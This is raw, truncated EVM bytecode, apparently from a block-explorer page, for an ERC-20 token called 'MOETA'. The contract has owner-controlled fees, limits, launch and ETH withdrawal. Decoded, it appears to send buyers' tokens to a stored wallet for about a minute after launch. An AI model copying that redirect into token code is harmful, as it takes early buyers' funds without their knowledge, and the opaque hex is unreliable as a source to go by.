6f6b656e734265666f7260008201527f655377617020746f2073616d652076616c75652e000000000000000000000000602082015250565b6000614e97603483613fc4565b9150614ea282614e3b565b604082019050919050565b60006020820190508181036000830152614ec681614e8a565b9050919050565b7f6e6577206275794d61726b6574696e67466565206d757374206265203c3d203160008201527f302e000000000000000000000000000000000000000000000000000000000000602082015250565b6000614f29602283613fc4565b9150614f3482614ecd565b604082019050919050565b60006020820190508181036000830152614f5881614f1c565b9050919050565b7f6e6577206275794275726e466565206d757374206265203c3d20352e00000000600082015250565b6000614f95601c83613fc4565b9150614fa082614f5f565b602082019050919050565b60006020820190508181036000830152614fc481614f88565b9050919050565b7f6e65772073656c6c4d61726b6574696e67466565206d757374206265203c3d2060008201527f372e000000000000000000000000000000000000000000000000000000000000602082015250565b6000615027602283613fc4565b915061503282614fcb565b604082019050919050565b600060208201905081810360008301526150568161501a565b9050919050565b7f6e65772073656c6c4275726e466565206d757374206265203c3d20352e000000600082015250565b6000615093601d83613fc4565b915061509e8261505d565b602082019050919050565b600060208201905081810360008301526150c281615086565b9050919050565b7f6e65772073656c6c4c6971756964697479466565206d757374206265203c3d2060008201527f382e000000000000000000000000000000000000000000000000000000000000602082015250565b6000615125602283613fc4565b9150615130826150c9565b604082019050919050565b6000602082019050818103600083015261515481615118565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573732e00000000000000000000000000000000000000000000000000602082015250565b60006151b7602783613fc4565b91506151c28261515b565b604082019050919050565b600060208201905081810360008301526151e6816151aa565b9050919050565b7f63616e6e6f742073656e64206d6f7265207468616e20636f6e7472616374206260008201527f616c616e63652e00000000000000000000000000000000000000000000000000602082015250565b6000615249602783613fc4565b9150615254826151ed565b604082019050919050565b600060208201905081810360008301526152788161523c565b9050919050565b600081905092915050565b50565b600061529a60008361527f565b91506152a58261528a565b600082019050919050565b60006152bb8261528d565b9150819050919050565b7f6572726f72207769746864726177696e67204554482066726f6d20636f6e747260008201527f6163742e00000000000000000000000000000000000000000000000000000000602082015250565b6000615321602483613fc4565b915061532c826152c5565b604082019050919050565b6000602082019050818103600083015261535081615314565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006153b3602483613fc4565b91506153be82615357565b604082019050919050565b600060208201905081810360008301526153e2816153a6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000615445602283613fc4565b9150615450826153e9565b604082019050919050565b6000602082019050818103600083015261547481615438565b9050919050565b7f6175746f6d61746564206d61726b6574206d616b65722070616972206973206160008201527f6c72656164792073657420746f20746861742076616c75652e00000000000000602082015250565b60006154d7603983613fc4565b91506154e28261547b565b604082019050919050565b60006020820190508181036000830152615506816154ca565b9050919050565b7f63616e6e6f74207472616e736665722066726f6d20746865207a65726f20616460008201527f64726573732e0000000000000000000000000000000000000000000000000000602082015250565b6000615569602683613fc4565b91506155748261550d565b604082019050919050565b600060208201905081810360008301526155988161555c565b9050919050565b7f63616e6e6f74207472616e7366657220746f20746865207a65726f206164647260008201527f6573732e00000000000000000000000000000000000000000000000000000000602082015250565b60006155fb602483613fc4565b91506156068261559f565b604082019050919050565b6000602082019050818103600083015261562a816155ee565b9050919050565b7f7472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f2e00000000000000000000000000000000000000000000602082015250565b600061568d602a83613fc4565b915061569882615631565b604082019050919050565b600060208201905081810360008301526156bc81615680565b9050919050565b7f63616e6e6f74207472616e73666572206d6f7265207468616e2062616c616e6360008201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b600061571f602283613fc4565b915061572a826156c3565b604082019050919050565b6000602082019050818103600083015261574e81615712565b9050919050565b7f7472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b60006157b1602883613fc4565b91506157bc82615755565b604082019050919050565b600060208201905081810360008301526157e0816157a4565b9050919050565b7f65787065637465642077616c6c657420616d6f756e742065786365656473207460008201527f6865206d617857616c6c6574416d6f756e742e00000000000000000000000000602082015250565b6000615843603383613fc4565b915061584e826157e7565b604082019050919050565b6000602082019050818103600083015261587281615836565b9050919050565b6000615884826142d4565b915061588f836142d4565b92508260ff038211156158a5576158a461473a565b5b828201905092915050565b60006158bb826142d4565b91506158c6836142d4565b9250826158d6576158d56147c3565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61597481614099565b82525050565b6000615986838361596b565b60208301905092915050565b6000602082019050919050565b60006159aa8261593f565b6159b4818561594a565b93506159bf8361595b565b8060005b838110156159f05781516159d7888261597a565b97506159e283615992565b9250506001810190506159c3565b5085935050505092915050565b600060a082019050615a12600083018861422a565b615a1f60208301876145f7565b8181036040830152615a31818661599f565b9050615a40606083018561430b565b615a4d608083018461422a565b969550505050505056fea264697066735822122006882730d9d68f49f995956060ac9a1b7ccf9a3136dbe0f1f81ae823604159cd64736f6c634300080d0033

Deployed Bytecode

0x60806040526004361061023f5760003560e01c80638da5cb5b1161012e578063b62496f5116100ab578063e22b62de1161006f578063e22b62de14610882578063e71dc3f5146108ab578063f2fde38b146108d6578063f5648a4f146108ff578063f63743421461091657610246565b8063b62496f51461078b578063c0246668146107c8578063c9700097146107f1578063d46980161461081a578063dd62ed3e1461084557610246565b8063a9059cbb116100f2578063a9059cbb146106a4578063aa4bde28146106e1578063ab1a91c31461070c578063adb873bd14610737578063aee50b1e1461076257610246565b80638da5cb5b146105bd57806392136913146105e857806395d89b4114610613578063985866d51461063e578063a457c2d71461066757610246565b806339509351116101bc57806375f0a8741161018057806375f0a874146104e8578063781edb3c146105135780637bce5a041461053c57806385141a77146105675780638c0b5e221461059257610246565b8063395093511461040357806349bd5a5e146104405780635ce6e5431461046b57806370a0823114610494578063715018a6146104d157610246565b806318160ddd1161020357806318160ddd1461031e5780631e293c101461034957806323b872dd1461037257806327a14fc2146103af578063313ce567146103d857610246565b806306fdde031461024b578063095ea7b3146102765780630bd05b69146102b35780631600d302146102ca5780631694505e146102f357610246565b3661024657005b600080fd5b34801561025757600080fd5b50610260610941565b60405161026d9190614052565b60405180910390f35b34801561028257600080fd5b5061029d6004803603810190610298919061410d565b61097e565b6040516102aa9190614168565b60405180910390f35b3480156102bf57600080fd5b506102c861099c565b005b3480156102d657600080fd5b506102f160048036038101906102ec9190614183565b610e6f565b005b3480156102ff57600080fd5b506103086112b4565b604051610315919061420f565b60405180910390f35b34801561032a57600080fd5b506103336112da565b6040516103409190614239565b60405180910390f35b34801561035557600080fd5b50610370600480360381019061036b9190614254565b6112e4565b005b34801561037e57600080fd5b5061039960048036038101906103949190614281565b611424565b6040516103a69190614168565b60405180910390f35b3480156103bb57600080fd5b506103d660048036038101906103d19190614254565b6115a2565b005b3480156103e457600080fd5b506103ed6116e1565b6040516103fa91906142f0565b60405180910390f35b34801561040f57600080fd5b5061042a6004803603810190610425919061410d565b6116ea565b6040516104379190614168565b60405180910390f35b34801561044c57600080fd5b50610455611796565b604051610462919061431a565b60405180910390f35b34801561047757600080fd5b50610492600480360381019061048d9190614361565b6117bc565b005b3480156104a057600080fd5b506104bb60048036038101906104b69190614183565b6118c6565b6040516104c89190614239565b60405180910390f35b3480156104dd57600080fd5b506104e661190f565b005b3480156104f457600080fd5b506104fd6119e7565b60405161050a919061431a565b60405180910390f35b34801561051f57600080fd5b5061053a600480360381019061053591906143ba565b611a0d565b005b34801561054857600080fd5b50610551611b8f565b60405161055e91906142f0565b60405180910390f35b34801561057357600080fd5b5061057c611ba2565b604051610589919061431a565b60405180910390f35b34801561059e57600080fd5b506105a7611ba8565b6040516105b49190614239565b60405180910390f35b3480156105c957600080fd5b506105d2611bae565b6040516105df919061431a565b60405180910390f35b3480156105f457600080fd5b506105fd611bd7565b60405161060a91906142f0565b60405180910390f35b34801561061f57600080fd5b50610628611bea565b6040516106359190614052565b60405180910390f35b34801561064a57600080fd5b5061066560048036038101906106609190614183565b611c27565b005b34801561067357600080fd5b5061068e6004803603810190610689919061410d565b61206c565b60405161069b9190614168565b60405180910390f35b3480156106b057600080fd5b506106cb60048036038101906106c6919061410d565b6121de565b6040516106d89190614168565b60405180910390f35b3480156106ed57600080fd5b506106f66121fc565b6040516107039190614239565b60405180910390f35b34801561071857600080fd5b50610721612202565b60405161072e91906142f0565b60405180910390f35b34801561074357600080fd5b5061074c612215565b60405161075991906142f0565b60405180910390f35b34801561076e57600080fd5b5061078960048036038101906107849190614254565b612228565b005b34801561079757600080fd5b506107b260048036038101906107ad9190614183565b61230b565b6040516107bf9190614168565b60405180910390f35b3480156107d457600080fd5b506107ef60048036038101906107ea91906143ba565b61232b565b005b3480156107fd57600080fd5b50610818600480360381019061081391906143fa565b6124ad565b005b34801561082657600080fd5b5061082f61260a565b60405161083c919061431a565b60405180910390f35b34801561085157600080fd5b5061086c6004803603810190610867919061443a565b612630565b6040516108799190614239565b60405180910390f35b34801561088e57600080fd5b506108a960048036038101906108a4919061447a565b6126b7565b005b3480156108b757600080fd5b506108c0612877565b6040516108cd91906142f0565b60405180910390f35b3480156108e257600080fd5b506108fd60048036038101906108f89190614183565b61288a565b005b34801561090b57600080fd5b506109146129d1565b005b34801561092257600080fd5b5061092b612b65565b60405161093891906142f0565b60405180910390f35b60606040518060400160405280600581526020017f4d4f455441000000000000000000000000000000000000000000000000000000815250905090565b600061099261098b612b78565b8484612b80565b6001905092915050565b6109a4612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a289061453f565b60405180910390fd5b600760009054906101000a900460ff1615610a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a78906145ab565b60405180910390fd5b6001600760006101000a81548160ff021916908315150217905550610acb30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600554612b80565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610b14306118c6565b600080610b1f612b78565b426040518863ffffffff1660e01b8152600401610b4196959493929190614606565b60606040518083038185885af1158015610b5f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b84919061467c565b5050506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bf6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c1a91906146e4565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ca3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc791906146e4565b6040518363ffffffff1660e01b8152600401610ce4929190614711565b602060405180830381865afa158015610d01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2591906146e4565b905080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060646002600554610d799190614769565b610d8391906147f2565b60088190555060646002600554610d9a9190614769565b610da491906147f2565b6009819055506001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610e65816001612ce4565b4260108190555050565b610e77612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efb9061453f565b60405180910390fd5b600d60069054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8b90614895565b60405180910390fd5b6000600c6000600d60069054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600b6000600d60069054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600a6000600d60069054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600d60066101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c6000600d60069054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000600d60069054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000600d60069054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b6112ec612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611379576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113709061453f565b60405180910390fd5b60095481036113bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b490614927565b60405180910390fd5b6103e860016005546113cf9190614769565b6113d991906147f2565b811161141a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611411906149b9565b60405180910390fd5b8060098190555050565b6000611431848484612dd1565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061147a612b78565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156114f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ee90614a4b565b60405180910390fd5b61159784611503612b78565b84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061154d612b78565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115929190614a6b565b612b80565b600190509392505050565b6115aa612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162e9061453f565b60405180910390fd5b600854810361167b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167290614b11565b60405180910390fd5b6064600160055461168c9190614769565b61169691906147f2565b81116116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ce90614ba3565b60405180910390fd5b8060088190555050565b60006012905090565b600061178c6116f7612b78565b848460046000611705612b78565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117879190614bc3565b612b80565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6117c4612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611851576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118489061453f565b60405180910390fd5b600d60059054906101000a900460ff1660ff168160ff16036118a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189f90614c8b565b60405180910390fd5b80600d60056101000a81548160ff021916908360ff16021790555050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611917612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199b9061453f565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60069054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611a15612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611aa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a999061453f565b60405180910390fd5b801515600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2b90614cf7565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600d60009054906101000a900460ff1681565b61dead81565b60095481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d60029054906101000a900460ff1681565b60606040518060400160405280600581526020017f4d4f455441000000000000000000000000000000000000000000000000000000815250905090565b611c2f612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb39061453f565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611d4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4390614d89565b60405180910390fd5b6000600c6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600a6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006004600061207a612b78565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115612134576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212b90614e1b565b60405180910390fd5b6121d461213f612b78565b84846004600061214d612b78565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121cf9190614a6b565b612b80565b6001905092915050565b60006121f26121eb612b78565b8484612dd1565b6001905092915050565b60085481565b600d60059054906101000a900460ff1681565b600d60039054906101000a900460ff1681565b612230612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b49061453f565b60405180910390fd5b600f548103612301576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122f890614ead565b60405180910390fd5b80600f8190555050565b60066020528060005260406000206000915054906101000a900460ff1681565b612333612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b79061453f565b60405180910390fd5b801515600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503612452576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244990614cf7565b60405180910390fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6124b5612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612542576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125399061453f565b60405180910390fd5b600a8260ff161115612589576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258090614f3f565b60405180910390fd5b60058160ff1611156125d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c790614fab565b60405180910390fd5b81600d60006101000a81548160ff021916908360ff16021790555080600d60016101000a81548160ff021916908360ff1602179055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6126bf612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461274c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127439061453f565b60405180910390fd5b60078360ff161115612793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278a9061503d565b60405180910390fd5b60058260ff1611156127da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d1906150a9565b60405180910390fd5b60088160ff161115612821576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128189061513b565b60405180910390fd5b82600d60026101000a81548160ff021916908360ff16021790555081600d60036101000a81548160ff021916908360ff16021790555080600d60046101000a81548160ff021916908360ff160217905550505050565b600d60019054906101000a900460ff1681565b612892612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461291f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129169061453f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361298e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612985906151cd565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6129d9612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612a66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a5d9061453f565b60405180910390fd5b60004711612aa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aa09061525f565b60405180910390fd5b60004790506000612ab8611bae565b73ffffffffffffffffffffffffffffffffffffffff1682604051612adb906152b0565b60006040518083038185875af1925050503d8060008114612b18576040519150601f19603f3d011682016040523d82523d6000602084013e612b1d565b606091505b5050905080612b61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b5890615337565b60405180910390fd5b5050565b600d60049054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612be6906153c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c559061545b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b801515600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503612d76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d6d906154ed565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612e40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e379061557f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612eaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ea690615611565b60405180910390fd5b60008111612ef2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ee9906156a3565b60405180910390fd5b612efb836118c6565b811115612f3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f3490615735565b60405180910390fd5b603c60105442612f4d9190614a6b565b11612f7857600d60069054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561301f5750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b806130cd5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156130cc5750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b5b1561311857600954811115613117576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161310e906157c7565b60405180910390fd5b5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166131c25760085481613176846118c6565b6131809190614bc3565b11156131c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131b890615859565b60405180910390fd5b5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806132635750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806132f35750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156132f257506000600d60019054906101000a900460ff16600d60009054906101000a900460ff166132ed9190615879565b60ff16145b5b8061339d5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561339c57506000600d60049054906101000a900460ff16600d60039054906101000a900460ff16600d60029054906101000a900460ff1661338d9190615879565b6133979190615879565b60ff16145b5b156134b85780600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546133f19190614a6b565b9250508190555080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546134479190614bc3565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516134ab9190614239565b60405180910390a3613c71565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546135079190614a6b565b92505081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361380e5